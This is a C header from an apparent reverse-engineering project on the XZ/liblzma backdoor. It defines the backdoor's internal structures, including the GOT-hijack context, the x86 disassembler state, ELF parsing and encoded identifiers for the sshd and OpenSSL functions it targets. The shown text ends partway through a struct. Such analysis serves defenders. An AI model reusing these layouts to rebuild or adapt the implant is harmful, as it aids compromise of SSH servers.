-
Notifications
You must be signed in to change notification settings - Fork 7
/
xzre.h
4159 lines (3860 loc) · 133 KB
/
xzre.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/**
* @file xzre.h
* @author Stefano Moioli ([email protected])
* @brief XZ backdoor structures and functions
*
*/
#ifndef __XZRE_H
#define __XZRE_H
#ifndef XZRE_SLIM
#define _GNU_SOURCE
#include <assert.h>
#include <link.h>
#include <stddef.h>
#include <stdint.h>
#include <sys/select.h>
#include <time.h>
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef uintptr_t uptr;
#ifdef XZRE_SLIM
typedef unsigned int pid_t;
typedef unsigned int uid_t;
typedef unsigned int gid_t;
typedef unsigned int mode_t;
typedef uint16_t Elf64_Half;
typedef uint32_t Elf64_Word;
typedef int32_t Elf64_Sword;
typedef uint64_t Elf64_Xword;
typedef int64_t Elf64_Sxword;
typedef uint32_t Elf32_Addr;
typedef uint64_t Elf64_Addr;
typedef uint64_t Elf64_Off;
typedef uint16_t Elf64_Section;
typedef Elf64_Xword Elf64_Relr;
#define EI_NIDENT (16)
typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf64_Half e_type; /* Object file type */
Elf64_Half e_machine; /* Architecture */
Elf64_Word e_version; /* Object file version */
Elf64_Addr e_entry; /* Entry point virtual address */
Elf64_Off e_phoff; /* Program header table file offset */
Elf64_Off e_shoff; /* Section header table file offset */
Elf64_Word e_flags; /* Processor-specific flags */
Elf64_Half e_ehsize; /* ELF header size in bytes */
Elf64_Half e_phentsize; /* Program header table entry size */
Elf64_Half e_phnum; /* Program header table entry count */
Elf64_Half e_shentsize; /* Section header table entry size */
Elf64_Half e_shnum; /* Section header table entry count */
Elf64_Half e_shstrndx; /* Section header string table index */
} Elf64_Ehdr;
typedef struct
{
Elf64_Word p_type; /* Segment type */
Elf64_Word p_flags; /* Segment flags */
Elf64_Off p_offset; /* Segment file offset */
Elf64_Addr p_vaddr; /* Segment virtual address */
Elf64_Addr p_paddr; /* Segment physical address */
Elf64_Xword p_filesz; /* Segment size in file */
Elf64_Xword p_memsz; /* Segment size in memory */
Elf64_Xword p_align; /* Segment alignment */
} Elf64_Phdr;
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
typedef uptr
Elf32_Sym, Elf64_Relr,
Elf64_Verdef, Elf64_Versym, sigset_t, fd_set, EVP_PKEY, RSA, DSA,
BIGNUM, EC_POINT, EC_KEY, EC_GROUP, EVP_MD, point_conversion_form_t,
EVP_CIPHER, EVP_CIPHER_CTX, ENGINE, EVP_MD_CTX, EVP_PKEY_CTX, BN_CTX;
typedef struct {
void *(*alloc)(void *opaque, size_t nmemb, size_t size);
void (*free)(void *opaque, void *ptr);
void *opaque;
} lzma_allocator;
typedef long int Lmid_t;
#define ElfW(Sym) Elf64_Sym
/**
* \brief Type of the integrity check (Check ID)
*
* The .xz format supports multiple types of checks that are calculated
* from the uncompressed data. They vary in both speed and ability to
* detect errors.
*/
typedef enum {
LZMA_CHECK_NONE = 0,
/**<
* No Check is calculated.
*
* Size of the Check field: 0 bytes
*/
LZMA_CHECK_CRC32 = 1,
/**<
* CRC32 using the polynomial from the IEEE 802.3 standard
*
* Size of the Check field: 4 bytes
*/
LZMA_CHECK_CRC64 = 4,
/**<
* CRC64 using the polynomial from the ECMA-182 standard
*
* Size of the Check field: 8 bytes
*/
LZMA_CHECK_SHA256 = 10
/**<
* SHA-256
*
* Size of the Check field: 32 bytes
*/
} lzma_check;
#endif
#ifndef XZRE_SLIM
#include <lzma.h>
#include <openssl/dsa.h>
#include <openssl/ec.h>
#include <openssl/evp.h>
#include <openssl/rsa.h>
#include <elf.h>
#include <link.h>
typedef Elf64_Xword Elf64_Relr;
#endif
#define UPTR(x) ((uptr)(x))
#define PTRADD(a, b) (UPTR(a) + UPTR(b))
#define PTRDIFF(a, b) (UPTR(a) - UPTR(b))
/*
* Force a compilation error if condition is true, but also produce a
* result (of value 0 and type int), so the expression can be used
* e.g. in a structure initializer (or where-ever else comma expressions
* aren't permitted).
*/
#define BUILD_BUG_ON_ZERO(e) ((int)(sizeof(struct { int:(-!!(e)); })))
#define __same_type(a, b) __builtin_types_compatible_p(typeof(a), typeof(b))
#define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0]))
#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
// copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=include/link.h;h=bef2820b40cd553c77990dcda4f4ccf0203a9110;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l360
struct auditstate
{
uintptr_t cookie;
unsigned int bindflags;
};
typedef struct link_map *lookup_t;
/** reference: https://flapenguin.me/elf-dt-gnu-hash */
typedef struct gnu_hash_table {
uint32_t nbuckets;
uint32_t symoffset;
uint32_t bloom_size;
uint32_t bloom_shift;
uint64_t bloom[];
#if 0
// uint64_t bloom[bloom_size]; /* uint32_t for 32-bit binaries */
// uint32_t buckets[nbuckets];
// uint32_t chain[];
#endif
} gnu_hash_table_t;
struct La_i86_regs;
struct La_i86_retval;
struct La_x86_64_regs;
struct La_x86_64_retval;
struct La_x32_regs;
struct La_x32_retval;
// copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/generic/ldsodefs.h;h=2ebe7901c03ade2da466d8a2bf1e1214ef8f54d1;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l256
// and https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/x86/ldsodefs.h;h=50dc81c02249bc8e034842066428452f6c00aec3;hb=57581acd9559217e859fdac693145ce6399f4d70
struct audit_ifaces
{
void (*activity) (uintptr_t *, unsigned int);
char *(*objsearch) (const char *, uintptr_t *, unsigned int);
unsigned int (*objopen) (struct link_map *, Lmid_t, uintptr_t *);
void (*preinit) (uintptr_t *);
union
{
uintptr_t (*symbind32) (Elf32_Sym *, unsigned int, uintptr_t *,
uintptr_t *, unsigned int *, const char *);
uintptr_t (*symbind64) (Elf64_Sym *, unsigned int, uintptr_t *,
uintptr_t *, unsigned int *, const char *);
};
union
{
Elf32_Addr (*i86_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
uintptr_t *, struct La_i86_regs *,
unsigned int *, const char *name,
long int *framesizep);
Elf64_Addr (*x86_64_gnu_pltenter) (Elf64_Sym *, unsigned int,
uintptr_t *,
uintptr_t *, struct La_x86_64_regs *,
unsigned int *, const char *name,
long int *framesizep);
Elf32_Addr (*x32_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
uintptr_t *, struct La_x32_regs *,
unsigned int *, const char *name,
long int *framesizep);
};
union
{
unsigned int (*i86_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
uintptr_t *, const struct La_i86_regs *,
struct La_i86_retval *, const char *);
unsigned int (*x86_64_gnu_pltexit) (Elf64_Sym *, unsigned int,
uintptr_t *,
uintptr_t *,
const struct La_x86_64_regs *,
struct La_x86_64_retval *,
const char *);
unsigned int (*x32_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
uintptr_t *,
const struct La_x32_regs *,
struct La_x86_64_retval *,
const char *);
};
unsigned int (*objclose) (uintptr_t *);
struct audit_ifaces *next;
};
/// State for the internal SHA-256 implementation
typedef struct {
/// Internal state
uint32_t state[8];
/// Size of the message excluding padding
uint64_t size;
} lzma_sha256_state;
/// \brief Structure to hold internal state of the check being calculated
///
/// \note This is not in the public API because this structure may
/// change in future if new integrity check algorithms are added.
typedef struct {
/// Buffer to hold the final result and a temporary buffer for SHA256.
uint8_t buffer[64];
/// Check-specific data
union {
uint32_t crc32;
uint64_t crc64;
lzma_sha256_state sha256;
} state;
} lzma_check_state;
#define CHACHA20_KEY_SIZE 32
#define CHACHA20_IV_SIZE 16
#define SHA256_DIGEST_SIZE 32
#define ED448_KEY_SIZE 57
#define ED448_SIGNATURE_SIZE 114
#define X_BN_num_bytes(bits) (((bits)+7)/8)
// opcode is always +0x80 for the sake of it (yet another obfuscation)
#define XZDASM_OPC(op) ((u8)(op) - 0x80)
enum X86_OPCODE {
X86_OPCODE_LEA = 0x8D,
X86_OPCODE_CALL = 0xE8,
// CMP r16/32/64 r/m16/32/64
X86_OPCODE_CMP = 0x3B,
// MOV r/m16/32/64 r16/32/64
X86_OPCODE_MOV = 0x89,
// MOV r16/32/64 r/m16/32/64
X86_OPCODE_MOV_LOAD = 0x8B,
// MOV m16 Sreg Move
// MOV r16/32/64 Sreg
X86_OPCODE_MOV_STORE = 0x8C
};
#define XZDASM_TEST_MASK(mask, offset, opcode) \
(((mask >> ((u8)(XZDASM_OPC(opcode) + offset))) & 1) == 1)
enum X86_REG {
X86_REG_RBP = 5
};
typedef int BOOL;
#define TRUE 1
#define FALSE 0
typedef enum {
// has lock or rep prefix
DF1_LOCK_REP = 1,
//1 has segment override
DF1_SEG = 2,
//1 has operand size override
DF1_OSIZE = 4,
//1 has address size override
DF1_ASIZE = 8,
//1 vex instruction
DF1_VEX = 0x10,
//1 has rex
DF1_REX = 0x20,
//1 has modrm
DF1_MODRM = 0x40,
//1 has sib
DF1_SIB = 0x80
} InstructionFlags;
typedef enum {
// memory with displacement
DF2_MEM_DISP = 0x1,
//2 8-bit displacement
DF2_MEM_DISP8 = 0x2,
//2 memory seg+offs (0xa0-0xa3)
DF2_MEM_SEG_OFFS = 0x4,
// mask to check for memory flags
DF2_FLAGS_MEM = DF2_MEM_DISP | DF2_MEM_DISP8 | DF2_MEM_SEG_OFFS,
//2 has immediate
DF2_IMM = 0x8,
//2 64-bit immediate (movabs)
DF2_IMM64 = 0x10
} InstructionFlags2;
typedef enum {
// ELF has JMPREL relocs
X_ELF_PLTREL = 0x1,
// ELF has RELA relocs
X_ELF_RELA = 0x2,
// ELF has RELR relocs
X_ELF_RELR = 0x4,
// ELF has DT_VERDEF
X_ELF_VERDEF = 0x8,
// ELF has DT_VERSYM
X_ELF_VERSYM = 0x10,
// ELF has DF_1_NOW
X_ELF_NOW = 0x20
} ElfFlags;
typedef enum {
// register-indirect addressing or no displacement
MRM_I_REG, // 00
// indirect with one byte displacement
MRM_I_DISP1, // 01
// indirect with four byte displacement
MRM_I_DISP4, // 10
// direct-register addressing
MRM_D_REG // 11
} ModRm_Mod;
typedef enum {
// find function beginning by looking for endbr64
FIND_ENDBR64,
// find function beginning by looking for padding,
// then getting the instruction after it
FIND_NOP
} FuncFindType;
typedef enum {
/**
* @brief this is for sshd itself
*
*/
X_ELF_MAIN = 0,
X_ELF_DYNAMIC_LINKER = 1,
X_ELF_LIBC = 2,
X_ELF_LIBCRYPTO = 3
} ElfId;
typedef enum {
XREF_xcalloc_zero_size = 0,
XREF_Could_not_chdir_to_home_directory_s_s = 1,
XREF_list_hostkey_types = 2,
XREF_demote_sensitive_data = 3,
XREF_mm_terminate = 4,
XREF_mm_pty_allocate = 5,
XREF_mm_do_pam_account = 6,
XREF_mm_session_pty_cleanup2 = 7,
XREF_mm_getpwnamallow = 8,
XREF_mm_sshpam_init_ctx = 9,
XREF_mm_sshpam_query = 10,
XREF_mm_sshpam_respond = 11,
XREF_mm_sshpam_free_ctx = 12,
XREF_mm_choose_dh = 13,
XREF_sshpam_respond = 14,
XREF_sshpam_auth_passwd = 15,
XREF_sshpam_query = 16,
XREF_start_pam = 17,
XREF_mm_request_send = 18,
XREF_mm_log_handler = 19,
XREF_Could_not_get_agent_socket = 20,
XREF_auth_root_allowed = 21,
XREF_mm_answer_authpassword = 22,
XREF_mm_answer_keyallowed = 23,
XREF_mm_answer_keyverify = 24,
XREF_48s_48s_d_pid_ld_ = 25,
XREF_Unrecognized_internal_syslog_level_code_d = 26
} StringXrefId;
typedef enum {
STR_from = 0x810,
STR_ssh2 = 0x678,
STR_48s_48s_d_pid_ld_ = 0xd8,
STR_s = 0x708,
STR_usr_sbin_sshd = 0x108,
STR_Accepted_password_for = 0x870,
STR_Accepted_publickey_for = 0x1a0,
STR_BN_bin2bn = 0xc40,
STR_BN_bn2bin = 0x6d0,
STR_BN_dup = 0x958,
STR_BN_free = 0x418,
STR_BN_num_bits = 0x4e0,
STR_Connection_closed_by = 0x790,
STR_Could_not_chdir_to_home_directory_s_s = 0x18,
STR_Could_not_get_agent_socket = 0xb0,
STR_DISPLAY = 0x960,
STR_DSA_get0_pqg = 0x9d0,
STR_DSA_get0_pub_key = 0x468,
STR_EC_KEY_get0_group = 0x7e8,
STR_EC_KEY_get0_public_key = 0x268,
STR_EC_POINT_point2oct = 0x6e0,
STR_EVP_CIPHER_CTX_free = 0xb28,
STR_EVP_CIPHER_CTX_new = 0x838,
STR_EVP_DecryptFinal_ex = 0x2a8,
STR_EVP_DecryptInit_ex = 0xc08,
STR_EVP_DecryptUpdate = 0x3f0,
STR_EVP_Digest = 0xf8,
STR_EVP_DigestVerify = 0x408,
STR_EVP_DigestVerifyInit = 0x118,
STR_EVP_MD_CTX_free = 0xd10,
STR_EVP_MD_CTX_new = 0xaf8,
STR_EVP_PKEY_free = 0x6f8,
STR_EVP_PKEY_new_raw_public_key = 0x758,
STR_EVP_PKEY_set1_RSA = 0x510,
STR_EVP_chacha20 = 0xc28,
STR_EVP_sha256 = 0xc60,
STR_EVP_sm = 0x188,
STR_GLIBC_2_2_5 = 0x8c0,
STR_GLRO_dl_naudit_naudit = 0x6a8,
STR_KRB5CCNAME = 0x1e0,
STR_LD_AUDIT = 0xcf0,
STR_LD_BIND_NOT = 0xbc0,
STR_LD_DEBUG = 0xa90,
STR_LD_PROFILE = 0xb98,
STR_LD_USE_LOAD_BIAS = 0x3e0,
STR_LINES = 0xa88,
STR_RSA_free = 0xac0,
STR_RSA_get0_key = 0x798,
STR_RSA_new = 0x918,
STR_RSA_public_decrypt = 0x1d0,
STR_RSA_set0_key = 0x540,
STR_RSA_sign = 0x8f8,
STR_SSH_2_0 = 0x990,
STR_TERM = 0x4a8,
STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
STR_WAYLAND_DISPLAY = 0x158,
STR_errno_location = 0x878,
STR_libc_stack_end = 0x2b0,
STR_libc_start_main = 0x228,
STR_dl_audit_preinit = 0xa60,
STR_dl_audit_symbind_alt = 0x9c8,
STR_exit = 0x8a8,
STR_r_debug = 0x5b0,
STR_rtld_global = 0x5b8,
STR_rtld_global_ro = 0xa98,
STR_auth_root_allowed = 0xb8,
STR_authenticating = 0x1d8,
STR_demote_sensitive_data = 0x28,
STR_getuid = 0x348,
STR_ld_linux_x86_64_so = 0xa48,
STR_libc_so = 0x7d0,
STR_libcrypto_so = 0x7c0,
STR_liblzma_so = 0x590,
STR_libsystemd_so = 0x938,
STR_list_hostkey_types = 0x20,
STR_malloc_usable_size = 0x440,
STR_mm_answer_authpassword = 0xc0,
STR_mm_answer_keyallowed = 0xc8,
STR_mm_answer_keyverify = 0xd0,
STR_mm_answer_pam_start = 0x948,
STR_mm_choose_dh = 0x78,
STR_mm_do_pam_account = 0x40,
STR_mm_getpwnamallow = 0x50,
STR_mm_log_handler = 0xa8,
STR_mm_pty_allocate = 0x38,
STR_mm_request_send = 0xa0,
STR_mm_session_pty_cleanup2 = 0x48,
STR_mm_sshpam_free_ctx = 0x70,
STR_mm_sshpam_init_ctx = 0x58,
STR_mm_sshpam_query = 0x60,
STR_mm_sshpam_respond = 0x68,
STR_mm_terminate = 0x30,
STR_parse_PAM = 0xc58,
STR_password = 0x400,
STR_preauth = 0x4f0,
STR_pselect = 0x690,
STR_publickey = 0x7b8,
STR_read = 0x308,
STR_rsa_sha2_256 = 0x710,
STR_setlogmask = 0x428,
STR_setresgid = 0x5f0,
STR_setresuid = 0xab8,
STR_shutdown = 0x760,
STR_ssh_2_0 = 0xd08,
STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
STR_sshpam_auth_passwd = 0x88,
STR_sshpam_query = 0x90,
STR_sshpam_respond = 0x80,
STR_start_pam = 0x98,
STR_system = 0x9f8,
STR_unknown = 0x198,
STR_user = 0xb10,
STR_write = 0x380,
STR_xcalloc_zero_size = 0x10,
STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
STR_ELF = 0x300,
} EncodedStringId;
typedef enum {
PAYLOAD_STATE_INITIAL = -1
} PayloadState;
#ifndef XZRE_SLIM
#define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
#else
#define assert_offset(t, f, o)
#endif
#define CONCAT(x, y) x ## y
#define EXPAND(x, y) CONCAT(x, y)
#define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
struct sshbuf {
u8 *d; /* Data */
const u8 *cd; /* Const data */
size_t off; /* First available byte is buf->d + buf->off */
size_t size; /* Last byte is buf->d + buf->size - 1 */
size_t max_size; /* Maximum size of buffer */
size_t alloc; /* Total bytes allocated to buf->d */
int readonly; /* Refers to external, const data */
u32 refcount; /* Tracks self and number of child buffers */
struct sshbuf *parent; /* If child, pointer to parent */
};
static_assert(sizeof(struct sshbuf) == 64);
struct kex;
/* permit_root_login */
#define PERMIT_NOT_SET -1
#define PERMIT_NO 0
#define PERMIT_FORCED_ONLY 1
#define PERMIT_NO_PASSWD 2
#define PERMIT_YES 3
/**
* @brief struct monitor from openssh-portable
*/
struct monitor {
int m_recvfd;
int m_sendfd;
int m_log_recvfd;
int m_log_sendfd;
struct kex **m_pkex;
pid_t m_pid;
};
/**
* @brief struct sensitive_data from openssh-portable
*/
struct sensitive_data {
struct sshkey **host_keys; /* all private host keys */
struct sshkey **host_pubkeys; /* all public host keys */
struct sshkey **host_certificates; /* all public host certificates */
int have_ssh2_key;
};
/**
* @brief struct sshkey from openssh-portable
*
*/
struct sshkey {
int type;
int flags;
/* KEY_RSA */
RSA *rsa;
/* KEY_DSA */
DSA *dsa;
/* KEY_ECDSA and KEY_ECDSA_SK */
int ecdsa_nid; /* NID of curve */
EC_KEY *ecdsa;
/* KEY_ED25519 and KEY_ED25519_SK */
u8 *ed25519_sk;
u8 *ed25519_pk;
/* KEY_XMSS */
char *xmss_name;
char *xmss_filename; /* for state file updates */
void *xmss_state; /* depends on xmss_name, opaque */
u8 *xmss_sk;
u8 *xmss_pk;
/* KEY_ECDSA_SK and KEY_ED25519_SK */
char sk_application;
u8 sk_flags;
struct sshbuf *sk_key_handle;
struct sshbuf *sk_reserved;
/* Certificates */
struct sshkey_cert *cert;
/* Private key shielding */
u8 *shielded_private;
size_t shielded_len;
u8 *shield_prekey;
size_t shield_prekey_len;
};
typedef struct __attribute__((packed)) got_ctx {
/**
* @brief points to the Global Offset Table
*/
void *got_ptr;
/**
* @brief the return address value of the caller
* obtained from *(u64 *)(caller_locals+24)
* since the entrypoint passes __builtin_frame_address(0)-16,
* this results in an offset of +8
*/
void *return_address;
/**
* @brief points to the real cpuid function
*/
void *cpuid_fn;
/**
* @brief holds the offset of the symbol relative to the GOT.
* used to derive the @ref got_ptr
*/
ptrdiff_t got_offset;
} got_ctx_t;
assert_offset(got_ctx_t, got_ptr, 0);
assert_offset(got_ctx_t, return_address, 0x8);
assert_offset(got_ctx_t, cpuid_fn, 0x10);
assert_offset(got_ctx_t, got_offset, 0x18);
static_assert(sizeof(got_ctx_t) == 0x20);
typedef struct __attribute__((packed)) elf_entry_ctx {
/**
* @brief points to a symbol in memory
* will be used to find the GOT value
*/
void *symbol_ptr;
got_ctx_t got_ctx;
/**
* @brief stores the value of __builtin_frame_address(0)-16
*/
u64 *frame_address;
} elf_entry_ctx_t;
assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
assert_offset(elf_entry_ctx_t, got_ctx, 0x8);
assert_offset(elf_entry_ctx_t, frame_address, 0x28);
/**
* creates the MOD.RM byte, given its components
*/
#define X86_MODRM_BYTE(mod, reg, rm) \
((u8)(0 \
| (u8)(((mod) & 3) << 6) \
| (u8)(((reg) & 7) << 3) \
| (u8)(((rm) & 7)) \
))
#define X86_REX_BYTE(w,r,x,b) \
((u8)(0x40 \
| (u8)(((w) & 1) << 3) \
| (u8)(((r) & 1) << 2) \
| (u8)(((x) & 1) << 1) \
| (u8)(((b) & 1) << 0) \
))
#define X86_REX_W X86_REX_BYTE(1,0,0,0)
/**
* creates the backdoor's MOD.RM word (MOD.RM and its individual components)
*/
#define XZDASM_MODRM_MAKE(mod, reg, rm) \
((u32)(0 \
| (u32)(((rm) & 0xFF)<< 24) \
| (u32)(((reg) & 0xFF) << 16) \
| (u32)(((mod) & 0xFF) << 8) \
| X86_MODRM_BYTE(mod, reg, rm) \
))
enum dasm_modrm_mask {
XZ_MODRM_RM = 0xFF000000,
XZ_MODRM_REG = 0x00FF0000,
XZ_MODRM_MOD = 0x0000FF00,
XZ_MODRM_RAW = 0x000000FF
};
typedef struct __attribute__((packed)) dasm_ctx {
u8* instruction;
u64 instruction_size;
union {
struct __attribute__((packed)) {
/**
* @brief see @ref InstructionFlags
*/
u8 flags;
/**
* @brief see @ref InstructionFlags2
*/
u8 flags2;
PADDING(2);
u8 lock_rep_byte;
u8 seg_byte;
u8 osize_byte;
u8 asize_byte;
u8 vex_byte;
u8 vex_byte2;
u8 vex_byte3;
union {
struct __attribute__((packed)) {
u8 B : 1;
u8 X : 1;
u8 R : 1;
u8 W : 1;
u8 BitPattern : 4; // always 0100b
};
u8 rex_byte;
};
union {
// in little endian order
struct __attribute__((packed)) {
/* 3 */ u8 modrm;
/* 2 */ u8 modrm_mod;
/* 1 */ u8 modrm_reg;
/* 0 */ u8 modrm_rm;
};
u32 modrm_word;
};
};
u16 flags_u16;
};
u8 imm64_reg; // low 3 bits only
struct __attribute__((packed)) {
union {
struct __attribute__((packed)) {
u8 sib;
u8 sib_scale;
u8 sib_index;
u8 sib_base;
};
u32 sib_word;
};
};
PADDING(3);
u32 opcode;
PADDING(4);
u64 mem_disp;
// e.g. in CALL
u64 operand;
u64 operand_zeroextended;
u64 operand_size;
u8 insn_offset;
PADDING(7);
} dasm_ctx_t;
assert_offset(dasm_ctx_t, instruction, 0);
assert_offset(dasm_ctx_t, instruction_size, 8);
assert_offset(dasm_ctx_t, flags, 0x10);
assert_offset(dasm_ctx_t, flags2, 0x11);
assert_offset(dasm_ctx_t, lock_rep_byte, 0x14);
assert_offset(dasm_ctx_t, seg_byte, 0x15);
assert_offset(dasm_ctx_t, osize_byte, 0x16);
assert_offset(dasm_ctx_t, asize_byte, 0x17);
assert_offset(dasm_ctx_t, vex_byte, 0x18);
assert_offset(dasm_ctx_t, vex_byte2, 0x19);
assert_offset(dasm_ctx_t, vex_byte3, 0x1A);
assert_offset(dasm_ctx_t, rex_byte, 0x1B);
assert_offset(dasm_ctx_t, modrm, 0x1C);
assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
assert_offset(dasm_ctx_t, imm64_reg, 0x20);
assert_offset(dasm_ctx_t, sib, 0x21);
assert_offset(dasm_ctx_t, sib_scale, 0x22);
assert_offset(dasm_ctx_t, sib_index, 0x23);
assert_offset(dasm_ctx_t, sib_base, 0x24);
assert_offset(dasm_ctx_t, opcode, 0x28);
assert_offset(dasm_ctx_t, mem_disp, 0x30);
assert_offset(dasm_ctx_t, operand, 0x38);
assert_offset(dasm_ctx_t, operand_zeroextended, 0x40);
assert_offset(dasm_ctx_t, operand_size, 0x48);
assert_offset(dasm_ctx_t, insn_offset, 0x50);
static_assert(sizeof(dasm_ctx_t) == 0x58);
typedef struct __attribute__((packed)) elf_info {
/**
* @brief pointed to the ELF base address in memory
*/
Elf64_Ehdr *elfbase;
/**
* @brief virtual address of the first program header
*/
u64 first_vaddr;
/**
* @brief pointer to the ELF program headers array in memory
*/
Elf64_Phdr *phdrs;
/**
* @brief copy of the ELF program header count from the ELF header
*/
u64 e_phnum;
/**
* @brief pointer to the ELF dynamic segment
*/
Elf64_Dyn *dyn;
/**
* @brief number of entries in the ELF dynamic segment
*/
u64 dyn_num_entries;
/**
* @brief pointer to the ELF string table
*/
char *strtab;
/**
* @brief pointer to the ELF symbol table
*/
Elf64_Sym *symtab;
/**
* @brief pointer to the ELF PLT relocations table
*/
Elf64_Rela *plt_relocs;
/**
* @brief number of entries in the PLT relocation table
*/
u32 plt_relocs_num;
/**
* @brief whether the loaded ELF contains PT_GNU_RELRO or not
* which specifies the location and size of a segment which
* may be made read-only after relocations have been processed.
*/
BOOL gnurelro_found;
/**
* @brief location of the GNU relro segment
*/
u64 gnurelro_vaddr;
/**
* @brief size of the GNU relro segment
*/
u64 gnurelro_memsize;
/**
* @brief pointer to the EFL symbol versioning (from DT_VERDEF)
*/
Elf64_Verdef *verdef;
/**
* @brief number of entries in the symbol versioning table
*/
u64 verdef_num;
Elf64_Versym *versym;
Elf64_Rela *rela_relocs;
u32 rela_relocs_num;
u32 _unused0;
Elf64_Relr *relr_relocs;
u32 relr_relocs_num;
PADDING(4);
/**
* @brief
* page-aligned virtual address of the first executable ELF segment
*/
u64 code_segment_start;
/**
* @brief
* page-aligned virtual size of the first executable ELF segment
*/
u64 code_segment_size;
u64 rodata_segment_start;
u64 rodata_segment_size;
u64 data_segment_start;
u64 data_segment_size;
u64 data_segment_alignment;
u8 flags;
